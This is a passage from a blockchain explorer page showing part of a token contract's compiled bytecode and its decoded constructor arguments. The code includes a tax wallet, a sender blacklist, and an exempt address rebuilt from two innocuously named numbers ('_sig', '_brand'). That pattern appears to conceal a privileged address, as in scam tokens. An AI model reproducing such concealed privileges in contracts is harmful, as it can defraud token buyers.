fff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d77578281610cfa9190612c25565b600c5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b82600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610dc39190612c25565b925050819055505f6004600360058110610de057610ddf6129ad565b5b0154118015610e3b575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015610e7357503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610ecc575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610f7857507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610fa0576004600360058110610f9257610f916129ad565b5b0154831115610f9f575f80fd5b5b5f60045f60058110610fb557610fb46129ad565b5b0154118015611010575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561104857503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110a1575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561114d57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156111fd575f60045f60058110611167576111666129ad565b5b01546064856111769190612bf5565b6111809190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080846111f99190612c25565b9350505b5f60048060058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000681565b5f7f382ce0b3149a124fe1ea1fd9d5ee6fcbc06f257d35e2d49af1f2db9b063e64b3905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f168201915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474

-----Decoded View---------------
Arg [0] : _sig (uint80): 243528844582792459479871
Arg [1] : _taxWallet (address): 0xacD3001FAe1F271a7eaf5BdeE802170a2CEb30c1
Arg [2] : _brand (uint80): 618275111644147002872948

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000003391b9a154eec0146b3f
Arg [1] : 000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c1
Arg [2] : 0000000000000000000000000000000000000000000082ecc2ce666ada079474


Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.